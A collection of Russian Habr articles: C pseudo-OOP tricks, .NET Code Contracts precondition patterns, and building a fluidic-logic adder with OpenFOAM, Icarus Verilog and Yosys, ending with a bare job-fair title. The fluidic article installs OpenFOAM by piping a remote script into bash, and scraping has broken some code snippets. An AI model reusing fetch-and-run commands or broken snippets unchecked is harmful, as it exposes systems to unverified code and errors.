# Псевдо ООП в C
[](http://habrahabr.ru/post/263547/)
Язык Си не является объектно-ориентированным языком. И значит все что будет описано ниже это костыли и велосипеды.
ООП включает в себя три столпа: инкапсуляция, наследование, полиморфизм. Ниже я покажу как этих вещей можно добиться в С.
**Инкапсуляция**
подразумевает скрытие данных от разработчика. В ООП языках мы обычно скрываем поля класса, а для доступа к ним пишем сеттеры и геттеры. Для скрытия данных в Си, существует ключевое слово static, которое, помимо других своих назначений, ограничивает видимость переменной (функции, структуры) одним файлом.
Пример:
```
//foo.c
static void foo1 () {
puts("foo1");
}
void foo2 () {
puts("foo2");
}
//main.c
#include
int main() {
foo1();
foo2();
return 0;
}
```
Компилятор выдает ошибку
```
[main.c:(.text+0x1b): undefined reference to `foo1'
collect2.exe: error: ld returned 1 exit status]
```
Имея такую возможность, можно разделить public и private данные по разным файлам, а в структуре хранить только указатель на приватные данные. Понадобится две структуры: одна приватная, а вторая с методами для работы и указателем на приватную. Чтобы вызывать функции на объекте, договоримся первым параметром передавать указатель на структуру, которая ее вызывает.
Объявим структуру с сеттерами, геттерами и указателем на приватное поле, а также функции, которые будут создавать структуру и удалять.
```
//point2d.h
typedef struct point2D {
void *prvtPoint2D;
int (*getX) (struct point2D*);
void (*setX)(struct point2D*, int);
//...
} point2D;
point2D* newPoint2D();
void deletePoint2D(point2D*);
```
Здесь будет инициализироваться приватное поле и указатели на функции, чтобы с этой структурой можно было работать.
```
//point2d.c
#include
#include "point2d.h"
typedef struct private {
int x;
int y;
} private;
static int getx(struct point2D\*p) {
return ((struct private\*)(p->prvtPoint2D))->x;
}
static void setx(struct point2D \*p, int val) {
((struct private\*)(p->prvtPoint2D))->x = val;
}
point2D\* newPoint2D() {
point2D\* ptr;
ptr = (point2D\*) malloc(sizeof(point2D));
ptr -> prvtPoint2D = malloc(sizeof(private));
ptr -> getX = &getx
ptr -> setX = &setx
// ....
return ptr;
}
```
Теперь, работа с этой структурой, может осуществляться с помощью сеттеров и геттеров.
```
// main.c
#include
#include "point2d.h"
int main() {
point2D \*point = newPoint2D();
int p = point->getX(point);
point->setX(point, 42);
p = point->getX(point);
printf("p = %d\n", p);
deletePoint2D(point);
return 0;
}
```
Как было показано выше, в «конструкторе» создаются две структуры, и работа с private полями ведется через функции. Конечно этот вариант не идеальный хотя бы потому, что никто не застрахован от присвоения приватной структуре null-указателя. Тем не менее, оставить один указатель лучше, чем хранить все данные в паблик структуре.
**Наследование**
как механизм языка не предусмотрено, поэтому тут без костылей никак не обойтись. Решение, которое приходит в голову — это просто объявить структуру внутри структуры. Но для того чтобы иметь возможность обращаться к ее полям напрямую, в C11 есть возможность объявлять анонимные структуры. Их поддерживает как gcc, так и компилятор от microsoft. Выглядит это вот так.
```
typedef struct point2D {
int x,y;
}
typedef struct point3D {
struct point2D;
int z;
} point3D;
#include
#include "point3d.h"
int main() {
point3D \*point = newPoint3D();
int p = point->x;
printf("p = %d\n", p);
return 0;
}
```
Компилировать надо с флагом -fms-extensions. Таким образом, становится возможным доступ к полям структуры в обход ее имени.
Но надо понимать, что анонимными могут быть только структуры и перечисления, но мы не можем объявлять анонимными примитивные типы данных.
**Полиморфизм**
В языках программирования и теории типов полиморфизмом называется способность функции обрабатывать данные разных типов. И такую возможность предоставляет ключевое слово \_Generic, которое было введено в С11. Но стоит оговориться, что не все версии gcc его поддерживают. В \_Generic передаются пары тип-значение, а при компиляции они транслируются в нужное значение. В общем, лучше один раз увидеть.
Создадим «функцию», которая будет определять тип структуры, переданной в нее, и возвращать ее имя в виде строки.
```
//points.h
#define typename(x) _Generic((x), \
point3D : "point3D", \
point2D : "point2D", \
point3D * : "pointer to point3D", \
point2D * : "pointer to point2D" \
)
//main.c
int main() {
point3D *point = newPoint3D();
puts(typename(point));
return 0;
}
```
Здесь видно, что в зависимости от типа данных будет возвращаться разное значение. А раз \_Generic возвращает какое-то значение, так почему бы ему не вернуть указатель на функцию, тогда можно заставить одну и ту же «функцию» работать с разными типами данных.
```
//points.h
double do2D(point2D *p);
double do3D(point3D *p);
#define doSomething(X) _Generic((X), \
point3D* : do3D, \
point2D* : do2D \
) (X)
//main.c
int main() {
point3D *point = newPoint3D();
printf("d = %f\n", doSomething(point));
return 0;
}
```
Теперь одну и туже функцию можно использовать с разными структурами.
**Статьи по теме:**
[habrahabr.ru/post/205570](http://habrahabr.ru/post/205570/)
[habrahabr.ru/post/154811](http://habrahabr.ru/post/154811/) | https://habr.com/ru/post/263547/ | null | ru | null |
# Альтернативная проверка предусловий в Code Contracts
При попытке использования библиотеки [Code Contracts](http://research.microsoft.com/en-us/projects/contracts/) в реальном проекте может возникнуть небольшая сложность: хотя сам класс [Contract](http://msdn.microsoft.com/en-us/library/system.diagnostics.contracts.contract.aspx) с методами проверки предусловий и постусловий, располагается в mscorlib начиная с 4-й версии .NET Framework, но без установки самой библиотеки Code Contracts, они не попадают в результирующую сборку.
Это может вызвать определенные сложности в крупных распределенных командах, поскольку для нормального использования контрактов всем разработчикам придется установить дополнительное расширение. А поскольку у ключевых людей проекта может не быть четкой уверенности в том, а нужно ли вообще нам это добро, то такой переход может быть затруднительным.
Однако Code Contracts поддерживает дополнительный «режим совместимости», который позволяет «жестко зашить» проверки предусловий в результирующий код, так что они будут видны всем, не зависимо от того, установлены контракты на машине разработчика или нет.
##### **Постановка проблемы**
Давайте вначале рассмотрим пример, который более четко покажет, в чем проблема.
```
class SimpleClass
{
public int Foo(string s)
{
Contract.Requires(s != null);
return s.Length;
}
}
```
С этим кодом совершенно все в порядке и при попытке вызова метода **Foo** с **null**, мы получим нарушение контракта, что при установленной библиотеке Code Contracts и включенной проверке предусловий приведет к генерации исключения 'System.Diagnostics.Contracts.\_\_ContractsRuntime.ContractException'.
Да, именно этого мы и ждем, но особенность заключается в том, что **код генерации исключения генерируется не компилятором, а отдельным процессом, который запускается сразу после компиляции**. А это значит, что без библиотеки Code Contracts, выполнение этого кода приведет к генерации **NullReferenceExcpetion**, поскольку никакой дополнительной валидации аргументов не останется и в помине. Я неоднократно сталкивался с тем, что такое поведение вызывало примерно такую реакцию: «WTF? Куда делась моя проверка!»
Поскольку мы не хотим слышать подобные “WTF?!?” от наших коллег, у которых контракты не установлены, то хотелось бы иметь способ зашить проверку предусловий более основательным образом.
##### **Ручная проверка предусловий**
Библиотека Code Contracts позволяет использовать предусловия в старом формате. Это значит, что если существующий метод уже содержит проверку входных параметров (т.е. проверку предусловий), то для преобразования их в полноценные предусловия после них достаточно добавить вызов **Contract****.****EndContractBlock**:
```
public class SimpleClass
{
public int Foo(string s)
{
if (s == null)
throw new ArgumentNullException("s");
Contract.EndContractBlock();
return s.Length;
}
}
```
Добавление вызова **Contract****.****EndContractBlock** превращает одну (или несколько) проверок входных параметров в полноценные предусловия. Теперь, для любого разработчика, у которого контракты **не установлены**, этот код будет выглядеть, как и раньше. В то время, как обладатели контрактов, смогут пользоваться всеми их преимуществами, такими как проверка валидности программы с помощью Static Checker-а, автоматическая генерация документации, возможность отлова всех нарушений контрактов (подробнее об этом будет ниже). Отличие этого способа проверки лишь в том, что их нельзя отключить и выпилить из кода полностью.
Данный подход можно совмещать с более продвинутыми техниками использования контрактов. Так, например, можно совмещать **old****-****style** проверку предусловий совместно с проверкой постусловий и инвариантов. Но поскольку постусловия и инварианты в большей мере касаются самого класса, а не его клиентов, то это никак не затронет всех тех разработчиков, у которых контракты не установлены.
**ПРИМЕЧАНИЕ**
Библиотека Code Contracts позволяет настраивать, какие проверки должны оставаться в результирующем коде. Если разработчики достаточно уверены в своем коде, то они могут убрать все проверки из кода и сэкономить несколько тактов процессора на каждой из них. Более подробно об уровнях мониторинга и возможностях по их управлению можно почитать в статье: [«Мониторинг утверждений в период выполнения»](http://sergeyteplyakov.blogspot.com/2010/05/blog-post_20.html).
##### **Использование существующих методов проверки**
Еще одним стандартным способом валидации аргументов является использование специальных классов (guard-ов) с набором разных методов, типа **NotNull**, **NotNullOrEmpty** и т.п. Библиотека Code Contracts поддерживает возможность превращения подобных методов в полноценные контракты: для этого методы класса валидатора нужно пометить атрибутом **ContractArgumentValidatorAttribute**.
**ПРИМЕЧАНИЕ**
К сожалению атрибут **ContractArgumentValidatorAttribute** не входит в состав .NET Framework версии 4.0, он появится только в версии 4.5. Разруливается эта ситуация путем добавления в ваш проект файла ContractExtensions.cs, который появится в %ProgramFiles%\Microsoft\Contracts\Language\CSharp после установки библиотеки Code Contracts.
```
public static class Guard
{
[ContractArgumentValidatorAttribute]
public static void IsNotNull(T t) where T : class
{
if (t == null)
throw new ArgumentNullException("t");
Contract.EndContractBlock();
}
}
```
Теперь мы можем использовать старый добрый метод **IsNotNull** для проверки предусловий:
```
public int Foo(string s)
{
Guard.IsNotNull(s);
return s.Length;
}
```
##### Отступление от темы. Contract.ContractFailed
Возможно, вы обращали внимание на существование двух версии метода **Contract****.****Requires**, одна из которых является обобщенной (generic) и может использоваться для генерации нужного типа исключения, нарушение же необобщенной версии приводит к генерации внутреннего (internal) исключение типа **ContractException**.
Причина, по которой по умолчанию генерируется внутреннее исключение, заключается в том, что нарушение контракта не может быть восстановлено программным путем. Это баг в коде и для его устранения необходимо изменение этого кода. Однако при использовании любого подхода к проверке предусловий (**Contract****.****Requires** + 2 рассмотренных сегодня подхода), пользователь может «захавать» исключение, перехватив базовый тип исключения.
В классе **Contract** есть событие [ContractFailed](http://msdn.microsoft.com/ru-ru/library/system.diagnostics.contracts.contract.contractfailed.aspx), которое будет вызываться при нарушении предусловий/постусловий/инвариантов. Например, перед запуском интеграционного или юнит-теста можно подписаться на это событие, и если падает предусловие, но тест остается зеленым, то можно закатывать рукава и идти искать того нерадивого программиста, который ловит исключения, не предназначенные для обработки.
##### **Заключение**
Использование одного из описанных здесь подходов для перехода к контрактному программированию позволяет плавно мигрировать код на контракты, не ломая жизнь остальной части команды. При этом вы можете использовать старые средства валидации со всеми достоинствами контрактов (включая возможность узнать о нарушении предусловий, описанную в предыдущем разделе), не заставляя всех и каждого устанавливать дополнительные утилиты на свои машины. | https://habr.com/ru/post/139773/ | null | ru | null |
# Проектируем процессор постапокалипсиса с помощью openSource
[](https://habr.com/ru/company/ruvds/blog/692236/)
Проектируемый компьютер на [сверхминиатюрных электронных лампах](https://habr.com/ru/company/ruvds/blog/655623/) хоть и является радиационно-стойким, однако работает на электричестве. Кроме того, восстановить в сжатые сроки производство электронных ламп в условиях постапокалипсиса будет довольно сложной задачей. На руинах цивилизации гораздо проще организовать массовое производство логических элементов, работающих на эффекте прилипания струи воздуха к стенке — при этом сам элемент можно лепить хоть из глины! И мало того, что для создания потока воздуха не обязательно использовать электричество — теоретически такой процессор сможет работать на энергии ударной волны ядерного взрыва! Но обо всём по порядку. Для тех, кто следит за проектом [DekatronPC](https://t.me/brainfuckpc) — не пугайтесь, ему ничего не угрожает.
В прошлый раз в статье [«Пневмоника и влажные мечты стимпанка»](https://habr.com/ru/post/374309/) я уже рассказывал о струйных логических элементах и поделился мыслями о том, что в принципе на этой технологии можно собрать полноценное вычислительное устройство.
*Принцип работы элемента на эффекте прилипания струи воздуха к стенке*
Известный из [прошлой статьи](https://habr.com/ru/post/374309/) базисный элемент работает на эффекте прилипания ламинарной струи воздуха к стенке. Вырываясь из сопла, струя воздуха натурально присасывается к одной из двух стенок элемента, а с помощью управляющих сигналов её можно перекинуть на противоположную сторону. При этом у дискретного элемента между выходами имеется вихреобразователь, который создаёт барьер для струи и гарантирует строгость переключения элемента.
Такой базисный элемент лёг в основу известных мне серийных струйных элементов серии ВОЛГА и СМСТ-2. Рисунки элементов СМСТ найти не удалось — повезло лишь отыскать книгу описания серии в целом, а вот по элементам ВОЛГА нашёлся полноценный альбом элементов! Мой товарищ, Антон Н., помог в оцифровке нескольких рисунков. После печати на фотополимерном принтере на свет появился элемент №1 — СТ41. Он имеет два входа справа и по выходному каналу с каждой стороны. В правом канале реализована логическая функция 2ИЛИ-НЕ, а в левом — 2ИЛИ.
*Реплика элемента серии ВОЛГА СТ41 из фотополимерного принтера*
Для проверки его работоспособности я напечатал пару крыльчаток, задача которых — вращаться от потока воздуха. Собственно, основная проблема струйных элементов — очень слабый выход. Никакого толку от установки манометра не будет — он просто ничего не покажет. А вот поставить крыльчатку можно. Несмотря на вдвое бо́льшие размеры сопла и большой расход питающего воздуха, элемент уверенно заработал. Правда не так, как надо… Согласно альбому схем, по умолчанию воздух должен идти в правый канал и при подаче управляющих сигналов справа переключаться на левый. А у элемента №1 всё с точностью до наоборот. Пора расчехлять тяжёлую артиллерию.
*Элемент №1 работает, однако по умолчанию струя воздуха идёт не туда, куда надо*
▍ Симуляция струйной логики в OpenFOAM
--------------------------------------
Чтобы понять, что не так с элементом, я решил воспользоваться пакетом [openFOAM](https://www.openfoam.com/) — это openSource-система численного моделирования механики сплошных сред. openFOAM нагибает половину суперкомпьютеров списка [ТОР500](https://www.top500.org/lists/top500/list/2022/06/). А вот со стороны простого пользователя у него есть две большие проблемы. Первая — у openFOAM нет графического пользовательского интерфейса: все действия с пакетом производятся через консоль, правда прекрасно автоматизируются скриптами. Вторая проблема — OpenCFD Ltd зарабатывает деньги на поддержке и, как итог, — документация на пакет есть, есть [туториалы](https://wiki.openfoam.com/index.php?title=%223_weeks%22_series), но без пол-литра с ними не разберёшься. Обе проблемы частично решаются с помощью САПР [FreeCAD](https://www.freecadweb.org/?lang=ru) с установленным в нём расширением [CFDof](https://github.com/jaheyns/CfdOF). Эта связка позволяет нарисовать сам струйный элемент, обозначить его границы (стенки, входы, выходы), а также настроить условия симуляции и запустить расчёт. Впрочем, появляется другая проблема — вам придётся использовать FreeCAD :)
Я проверил работу связки на разных платформах. Наиболее стабильная связка — при установке на Linux. Сам openFOAM отлично живёт под wsl, но вот FreeCAD лично у меня там не работает.
**Установка openFOAM и FreeCAD под Linux**
```
#загружаем FreeCAD
wget https://github.com/FreeCAD/FreeCAD/releases/download/0.20/FreeCAD-0.20.0-Linux-x86_64.AppImage
#устанавливаем openFOAM
curl https://dl.openfoam.com/add-debian-repo.sh | bash && apt-get -y install openfoam2206-default
```
FreeCAD лучше брать самой последней версии, но как минимум не ниже 0.20 — под Linux на 0.19 я столкнулся с проблемами во время установки расширений.
Второй вариант — под Windows. Устанавливайте [openfoam-mingw](https://develop.openfoam.com/Development/openfoam/-/wikis/precompiled/windows#native-windows) — эту версию проще всего скрестить со скриптами CfdOf. FreeCAD опять-таки ставьте не ниже 0.20.
Во FreeCAD необходимо поставить два расширения для работы — CFDof и plot. Это делается в меню **Инструменты — Менеджер дополнений.** Позднее в настройках укажите папки с установленными openFOAM, paraview и gmsh. В окне настроек, к слову, можно скачать и запустить на установку все необходимые пакеты. Под Windows мои настройки выглядят так:
Дабы не перегружать статью вопросами использования графического интерфейса расширения CFDof, я сделал видео, где за 15 минут я создаю простую модель, указываю её границы в терминах симуляции (стенки, вход, выход) и запускаю симуляцию.
Раз есть элемент №1, значит, есть и его модель… Загоняем её в openFOAM и производим расчёт:
Хорошая новость в том, что симуляция повторяет поведение реального элемента. Плохая — и в реальности, и в симуляции он работает не так, как надо, что и нужно исправить.
На самом деле это видео — не первая симуляция элемента. В первый раз результат выглядел несколько хуже:
Стремясь попасть в левый выходной канал, струя воздуха задевает острый угол атмосферного окна, отбирая часть мощности на себя (1). Проблема решается изменением геометрии входа левого выходного канала. Однако у элемента есть вихреобразователь (2), который обеспечивает дискретность работы элемента. Угол между выходным каналом и вихреобразователем должен отсекать часть струи на себя, чтобы она пошла по радиусу отсекателя и образовала вихрь в центре элемента. Он отрежет неактивный канал от потока воздуха, а главное — дополнительно прижмёт струю к левой стенке. Из этого кадра видно, что образуемый вихрь очень странный — что решается опять-таки изменением геометрии самого завихрителя. В видео выше элемент уже перерисован на сплайнах и эти моменты были исправлены. Как итог — струя воздуха ламинарна вплоть до поворота выходного канала.
Элемент стал работать лучше — вся входная струя идёт на выход. Но по-прежнему не на тот, который нужен. На видео заметно, как в самом начале струя пытается прилипнуть к правой стенке за счёт небольшого угла в её сторону, но подсос воздуха от обводного канала отталкивает её к противоположной. Смотрим на альбом схем ещё раз:
*Цитата из «Атласа конструкций элементов схем пневмоавтоматики. Часть II. Элементы струйной системы ВОЛГА»*
> Конструктивная схема элемента представлена на рис. 5, где 1 — канал питания, 2, 3, 6 — каналы входа, 4, 5 — каналы выхода, 7, 8 — атмосферные каналы для сбрасывания неиспользуемого расхода воздуха в атмосферу и исключения режима автоколебаний, 9 — часть платы, отделённой от неё каналом 10, который соединяет рабочую камеру с атмосферой (при этом величина вакуума при отсутствии сигнала управления уменьшается, что облегчает переброс струи в другой канал).
>
>
>
> При отсутствии входных сигналов Х2, Х3, Х6 в каналах 2, 3 и 6 силовая струя, вытекая из канала питания 1 под действием поперечного перепада давления и небольшого наклона канала питания 1, попадает в канал 4, на выходе которого устанавливается единичный сигнал У4=1.
Звучит вроде бы логично — переключение напечатанного элемента требует небольшого ощутимого давления, и обводной канал должен этот процесс облегчить, однако неправильный режим по умолчанию в реальности превращает элемент ИЛИ-НЕ в условно бесполезный инвертор. Попробуем очевидное, на первый взгляд, решение — перенести обводной канал на левую сторону:
Это помогло. Теперь по умолчанию сигнал идёт в правый канал, а распечатанный элемент тоже стал работать как полноценный элемент 2ИЛИ-НЕ. Вопрос в другом — почему в альбоме схем канал всё же справа? А главное — почему в элементе «защёлка» (СТ42) канал есть с каждой стороны?! И утверждается, что оба состояния — устойчивые… Чтобы враг не догадался? Если бы! Вскрываем оригинальный СТ41 прямиком из 1982 года и видим, что в действительности обводной канал находится справа. Сравнив сам элемент и его рисунок в альбоме, я понимаю, что авторы фривольно подошли к его чертежу.
*Фотография воссозданного (слева) и оригинального (справа) элементов СТ41*
Имеет смысл отсканировать настоящий элемент и воспроизвести его на фотополимернике во второй ревизии, однако первая ревизия справляется со своей функцией, поэтому пока оставим как есть.
▍ Синтезируем вычислитель
-------------------------
С элементом разобрались. Теперь нужно понять, сколько их требуется для создания двоичного сумматора с последовательным переносом. Вручную рисовать схему мне лень, так что напишем всю логику на языке verilog, просимулируем корректность работы в Icarus Verilog и засинтезируем схему соединений в Yosys. Оба пакета прекрасно чувствуют себя как под linux, так и WSL, так что выбирайте наиболее удобный вам вариант.
**Ставим iverilog**
([Документация](https://iverilog.fandom.com/wiki/Installation_Guide))
```
git clone https://github.com/steveicarus/iverilog.git
cd iverilog
git checkout --track -b v11-branch origin/v11-branch
git pull
sh autoconf.sh
./configure
make
sudo make install
```
**Ставим yosys**
([Документация](https://github.com/YosysHQ/yosys))
```
sudo apt-get install build-essential clang bison flex \
libreadline-dev gawk tcl-dev libffi-dev git \
graphviz xdot pkg-config python3 libboost-system-dev \
libboost-python-dev libboost-filesystem-dev zlib1g-dev
git clone https://github.com/YosysHQ/yosys.git
cd yosys
make config-gcc
make
sudo make install
```
Код модуля сумматора предельно прост — в два бита co и out заносим результат операции сложения трёх однобитовых слагаемых A, B и С, а дальше сигналами переноса соединяем модули однобитовых сумматоров в цепочку необходимой длины (или ширины?), получив сумматор с последовательным переносом. Можно, конечно, намудрить с параллельным переносом, например по схеме [Брента-Кунга](https://en.wikipedia.org/wiki/Brent%E2%80%93Kung_adder), но для столь малой ширины это лишено смысла. Элементов потребуется больше, а задержка вычислений в итоге будет такая же.
**adder.v**
```
module FA(
input wire ci,
input wire A,
input wire B,
output wire out,
output wire co
);
assign {co,out} = A + B + ci;
endmodule
module adder #(
parameter WIDTH=4
)(
input wire ci,
input wire [WIDTH-1:0] A,
input wire [WIDTH-1:0] B,
output wire [WIDTH-1:0] out,
output wire co
);
genvar i;
generate
for (i=0; i < WIDTH; i=i+1) begin: Add
wire c_out;
if (i==0) begin
FA fa(.A(A[i]), .B(B[i]), .out(out[i]),.ci(ci), .co(c_out));
end
else begin
FA fa(.A(A[i]), .B(B[i]), .out(out[i]),.ci(Add[i-1].c_out), .co(c_out));
end
end
endgenerate
```
Подготовим тестбенч, задача которого — подать на вход сумматора случайные значения чисел и сравнить число на выходе с ожидаемым. Так мы убедимся, что код работает как надо.
**adder\_tb.v**
```
module adder_tb();
parameter WIDTH=4;
parameter TEST_NUM=WIDTH*WIDTH;
reg clk;
reg [WIDTH-1:0] A;
reg [WIDTH-1:0] B;
wire [WIDTH-1:0] out;
wire co;
wire [WIDTH:0] res = {co, out};
reg [$clog2(TEST_NUM):0] test;
reg [$clog2(TEST_NUM):0] correct;
adder #(.WIDTH(WIDTH)) Adder(.A(A), .B(B), .out(out), .co(co));
initial begin
$dumpfile("adder.vcd");
$dumpvars(0, adder_tb);
clk = 0;
test = 0;
correct = 0;
A = $urandom();
B = $urandom();
forever #1 clk = ~clk;
end
wire[WIDTH:0] RC = A + B;
always @(clk) begin
if (clk) begin
test <= test + 1;
if (test >= TEST_NUM) begin
$display("TESTS: %d/%d", correct, test);
$finish();
end
if (out == RC) begin
correct <= correct + 1;
end
else begin
$display("%d: %d + %d: Got: %d, exp: %d", test, A, B, res, RC);
end
end
else begin
A <= $urandom();
B <= $urandom();
end
end
endmodule
```
И запустим наш код на проверку:
```
iverilog -o adder -P adder_tb.WIDTH=4 -s adder_tb adder_tb.v adder.v -g2012
./adder
TESTS: 16/16
```
Отлично, всё работает! Теперь посмотрим, во что оно синтезируется. Для этого с помощью [презентации по yosys](https://github.com/YosysHQ/yosys-manual-build/releases/download/manual/presentation.pdf) составим tcl-скрипт для синтеза.
**run\_synt.tcl**
`yosys -import
yosys read_verilog [lindex $argv 0]
yosys chparam -set WIDTH [lindex $argv 2] adder
# read design
hierarchy -check
yosys synth -top [lindex $argv 1]
# # high-level synthesis
yosys proc
yosys opt
yosys memory
yosys opt
yosys fsm
yosys opt
# # low-level synthesis
yosys techmap
yosys opt
set cell_lib "fluidic.lib"
# # map to target architecture
yosys read_liberty -lib $cell_lib
yosys dfflibmap -liberty $cell_lib
yosys abc -liberty $cell_lib
# # split larger signals
yosys splitnets -ports
yosys opt
# # cleanup
yosys clean
# # write synthesized design
yosys write_verilog [lindex $argv 1]_synth.v
# # write intermediate language
yosys write_ilang [lindex $argv 1]_ilang.txt
# # show
yosys show -format dot -lib [lindex $argv 1]_synth.v -prefix [lindex $argv 1]
yosys stat
yosys stat -liberty $cell_lib
exec dot -Tpng [lindex $argv 1].dot > [lindex $argv 1].png`
На примере библиотеки КМОП-элементов [cmos\_cells.lib](https://github.com/YosysHQ/yosys/blob/master/examples/cmos/cmos_cells.lib) и [прошлой статьи](https://habr.com/ru/post/374309/) накидаем библиотеку струйных элементов. Наш базисный элемент можно использовать как элемент НЕ, 2ИЛИ, 2ИЛИ-НЕ, а также в роли буферного элемента, так как мощность выхода позволяет подключить только два элемента. В качестве параметра Area укажем количество базисных элементов, необходимых для создания логического модуля каждого типа — то есть 1. Оставим также оригинальное описание элементов DFF и DFFSR — это синхронные триггеры, без которых yosys отказывается синтезировать — уж больно ему хочется иметь элементы синхронной логики.
**fluidic.lib**
```
library(fluidic) {
cell(BUF) {
area: 1;
pin(A) { direction: input; }
pin(Y) { direction: output;
function: "A"; }
}
cell(NOT) {
area: 1;
pin(A) { direction: input; }
pin(Y) { direction: output;
function: "A'"; }
}
cell(AND) {
area: 1;
pin(A) { direction: input; }
pin(B) { direction: input; }
pin(Y) { direction: output;
function: "(A&B)"; }
}
cell(OR) {
area: 1;
pin(A) { direction: input; }
pin(B) { direction: input; }
pin(Y) { direction: output;
function: "(A+B)"; }
}
cell(NOR) {
area: 1;
pin(A) { direction: input; }
pin(B) { direction: input; }
pin(Y) { direction: output;
function: "(A+B)'"; }
}
cell(DFF) {
area: 10;
ff(IQ, IQN) { clocked_on: C;
next_state: D; }
pin(C) { direction: input;
clock: true; }
pin(D) { direction: input; }
pin(Q) { direction: output;
function: "IQ"; }
}
cell(DFFSR) {
area: 10;
ff("IQ", "IQN") { clocked_on: C;
next_state: D;
preset: S;
clear: R; }
pin(C) { direction: input;
clock: true; }
pin(D) { direction: input; }
pin(Q) { direction: output;
function: "IQ"; }
pin(S) { direction: input; }
pin(R) { direction: input; }
; // empty statement
}
}
```
Осталось объединить всю рутину в общем скрипте:
**synt.sh**
```
#!/bin/bash
set -Eeuo pipefail
WIDTH=4
if [ -f *.vcd ]; then rm *.vcd fi
iverilog -o adder -P adder_tb.WIDTH=${WIDTH} -s adder_tb adder_tb.v adder.v -g2012
./adder
echo 'tcl run_synt.tcl adder.v adder '${WIDTH} > tcl.txt
yosys < tcl.txt
gvpr -f split adder.dot
rm -f *.png
for file in $(ls *.dot); do
echo $file; dot -Tpng $file -O
done
```
Где файл split помогает разделить dot-файл с несколькими графами на множество файлов с одним графом в каждом. Это нужно потому, что команда dot обрабатывает только самый первый граф в файле, сколько бы их там не оказалось. Его код выглядит так:
```
BEG_G {
fname = sprintf("%s.dot",$G.name);
writeG($G, fname);
}
```
И запустить его. В случае успешного синтеза вывод будет оканчиваться следующей статистикой:
```
22. Printing statistics.
=== adder ===
Number of wires: 53
Number of wire bits: 53
Number of public wires: 14
Number of public wire bits: 14
Number of memories: 0
Number of memory bits: 0
Number of processes: 0
Number of cells: 44
NOR 27
NOT 9
OR 8
Chip area for module '\adder': 44.000000
```
Так как в роли Area мы выставили число элементов, общий параметр Chip area тут можно интерпретировать именно как оценку требуемого количества модулей. Всего на 4-битовый сумматор нужно 44 штуки. А если точнее, то 40. Сейчас объясню почему.
Посмотрим на картинку соединений, полученную из dot-файла:
*Синтезированный сумматор с последовательным переносом*
Всё логично. Хотели 4 бита — получили 4 полных сумматора, последовательно соединённых по цепи переноса. Сами полные сумматоры выглядят следующим образом:
*Синтезированная схема одного бита полного сумматора на логических элементах из библиотеки*
На каждый полный сумматор требуется 10 логических элементов. Почему на рисунке их 11? Потому что элементы 191 и 192 — OR и NOR — можно заменить одним элементом, используя оба выхода — их входы распараллелены. Просто в lib-файле я не указал, что у элемента есть два выхода разных типов.
В принципе на данном этапе уже можно брать десяток-другой струйных элементов и соединять их трубками, согласно данной схеме. Однако, если итоговая схема значительно сложнее, хотелось бы большей автоматизации процесса. Например, превратить dot-файл в схему соединений для KiCAD. Вообще, dot-файл — это текстовое представление графа. И в нашем случае неплохо бы было иметь автоматизированный конвертер соединений логических элементов из dot-файла во что-то, что можно импортировать в kiCAD. Представьте, если на месте библиотеки fluidic.lib была бы К155СЕРИЯ.lib. Пишем модуль процессора на Verilog, синтезируем схему соединений, импортируем в kiCAD — и у нас готовая схема соединений логических элементов на 155-й серии микросхем малой степени интеграции! Дальше разводим печатную плату, и в итоге получаем самый натуральный ASIC! Правда с очень специфичными IC в конце. В общем, такого конвертера нет. Из ближайшего, что может помочь — kiCAD кушает ASCII-формат Eagle 6. И в него в принципе можно написать конвертер. Но это не точно.
Можно, конечно, перерисовать вручную. Благо достаточно нарисовать только один бит, и дальше стекировать по модулям:
Это перерисованная схема полного сумматора на базовых элементах OR-NOR. Три входа, два выхода. Аналогично соединяем сигналы переноса и получаем готовый блок сумматора.
По задумке автора было бы неплохо взять элементы меньшего размера, например СМСТ-2 габаритами 10 х 15 мм. Разместить их десяток-другой на одной пластине, и это будет верхний слой бутерброда. В том же KiCAD разводим многослойную плату соединений, на ЧПУ фрезеруем каналы в платах и собираем всё в очень компактный пневмо-бутерброд. В итоге 8-битовый сумматор можно уместить в габариты VHS-кассеты…
*Верхний слой будущего бутерброда. Матрица из 10 струйных элементов, каждый размером 10 х 15 мм. Требуется калибровка печати (или 8К матрица)*
Звучит это, конечно, круто, но за отсутствием автоматизированного конвертера пришлось остановиться на трубках… Хотя для лампового компьютера такой подход тоже может пригодиться. Вы же помните, что ламповый компьютер я изначально пишу на Verilog? Как только я с этим закончу, yosys мне засинтезирует схему соединений логических элементов и количество их напишет. Удобно, однако.
В следующей части соберём всё воедино и убедимся, что openSource вполне пригоден для создания процессора постапокалипсиса. А самые нетерпеливые могут посмотреть в этом видео, что получилось:
▍ Литература
------------
Некоторое количество [литературы по струйной логике](https://yadi.sk/d/VYnKDXim3Sz8Ja).
1. Рехтен А.В, Струйная техника: Основы, элементы, схемы. — М, изд. Машиностроение, 1980, 237 с.
2. Лебедев И.В., Трешкунов С.Л. Яковенко В.С, Элементы струйной автоматики. — М, Машиностроение, 1973, 360 с.
3. Вулис Л.А., Кашкаров В.П. Теория струи вязкой жидкости. — М, изд. Наука, 1965, 431 с.
4. Залмазон Л.А, Теория элементов пневмоники. — М, изд. Наука, 1968, 508 с.
5. Кулешова Н.А., Власов Ю.Д., Леладзе И.С. Атлас конструкций элементов систем пневмоавтоматики. Часть 1. Элементы систем УСЭППА и КЭМП. — М, 1995.
6. Кулешова Н.А., Власов Ю.Д., Леладзе И.С. Атлас конструкций элементов схем пневмоавтоматики. Часть 2. Элементы струйной системы ВОЛГА. — М, 1996.
7. Кулешова Н.А., Власов Ю.Д., Леладзе И.С. Атлас конструкций элементов схем пневмоавтоматики. Часть 3. Типовые схемы на элементах серий УСЭППА, КЭМП, ВОЛГА. — М, 2000.
8. Касимов А.М. Система модулей струйной техники СМСТ-2 (дискретная ветвь). — М, 1971.
> **[Telegram-канал с полезностями](http://bit.do/ruvds-community) и [уютный чат](http://bit.do/ruvds-chat)**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=radiolok&utm_content=proektiruem_processor_postapokalipsisa_s_pomoshhyu_opensource) | https://habr.com/ru/post/692236/ | null | ru | null |
# Онлайн-конференция на Ярмарке вакансий для ИТшников
